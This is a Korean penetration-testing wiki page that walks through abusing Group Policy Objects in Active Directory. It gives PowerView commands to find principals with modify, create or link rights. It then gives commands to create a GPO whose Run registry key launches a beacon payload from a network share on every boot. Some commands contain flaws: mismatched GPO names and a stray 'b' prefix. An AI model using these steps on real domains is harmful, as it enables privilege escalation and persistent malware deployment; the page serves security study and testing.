GPO
도메인 내에서 GPO 생성 및 연결에 대한 권한이 잘못 설정되어 있거나, 해당 권한이 있는 시스템 제어권을 탈취한 이후에는 GPO 악용을 통해 권한 상승 및 측면 이동이 가능합니다. GPO에 대해서는 Active Directory에서 자세히 다루고 있으니 개념은 해당 페이지를 참조합니다.
Modify GPO
먼저 도메인에 있는 모든 GPO 중에서 CreateChild, WritePropertiy, GenericWrite 등의 수정 권한을 가진 주체가 있는 항목을 필터링 하며, SYSTEM, Domain Admins, Enterprise Admins와 같이 기본적으로 GPO에 대한 높은 권한이 있는 객체는 제외해야 합니다.
# 도메인 GPO에 대한 악용 권한이 있는 객체 열거
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
# 찾은 GPO의 ObjectDN을 통한 이름 확인
Get-DomainGPO -Identity <ObjectDN> | select displayName, gpcFileSysPath
# 열거된 GPO에 대한 권한이 있는 객체 확인
bConvertFrom-SID <SecurityIdentifier>
# GPO와 연결된 OU 열거
Get-DomainOU -GPLink <ObjectDN-CN> | select distinguishedName
# OU 하위에 있는 객체 열거
Get-DomainComputer -SearchBase <distinguishedName> | select dnsHostName
Create and Link GPO
기존에 존재하는 GPO를 악용하는 방법 외에도 GPO를 생성하고 연결할 수 있는 권한만 가지고 있다면 새로운 GPO를 생성하여 악용할 수 있습니다. 새로운 GPO를 생성할 수 있는 권한을 가진 객체는 Create groupPolicyContainer objects
권한을 가지고 있으며 PowerView를 사용하여 권한을 가진 객체를 열거할 수 있습니다.
# PowerView 모듈 불러오기
.\PowerView.ps1
# GPO 생성 권한을 가진 객체 열거
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=pentest,DC=wiki" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
위 명령어를 통해 도메인 내에서 GPO를 생성할 수 있는 객체를 열거할 수 있지만, GPO를 연결할 수 없다면 생성한 GPO를 악용하지 못하기 때문에 연결할 수 있는 권한을 확인하는 것 또한 중요합니다.
# 도메인 OU 중 연결 권한을 가진 객체 열거
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
# 열거된 객체의 이름 확인
ConvertFrom-SID <SecurityIdentifier>
위 과정을 통해 GPO에 대한 생성과 연결 권한을 가진 객체 및 OU 정보를 확인했으면 새로운 GPO를 생성하고 악용할 차례입니다. PowerShell의 RSAT 모듈은 GPO를 명령줄을 통해 관리할 수 있는 모듈이며 일반적으로 GPO를 관리할 수 있는 워크스테이션에 설치되어 있습니다. Get-Module을 통해 해당 모듈이 설치되어있는지 확인할 수 있습니다.
# RSAT 모듈 설치 여부 확인
Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
# 새로운 GPO 생성
New-GPO -Name "Vuln GPO"
# OU 내 객체들이 부팅될 때마다 자동으로 비콘 페이로드를 실행하도록 설정
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\dns_x64.exe" -Type ExpandString
# GPO를 OU에 적용
Get-GPO -Name "Vuln GPO" | New-GPLink -Target <OU>
Last updated
Was this helpful?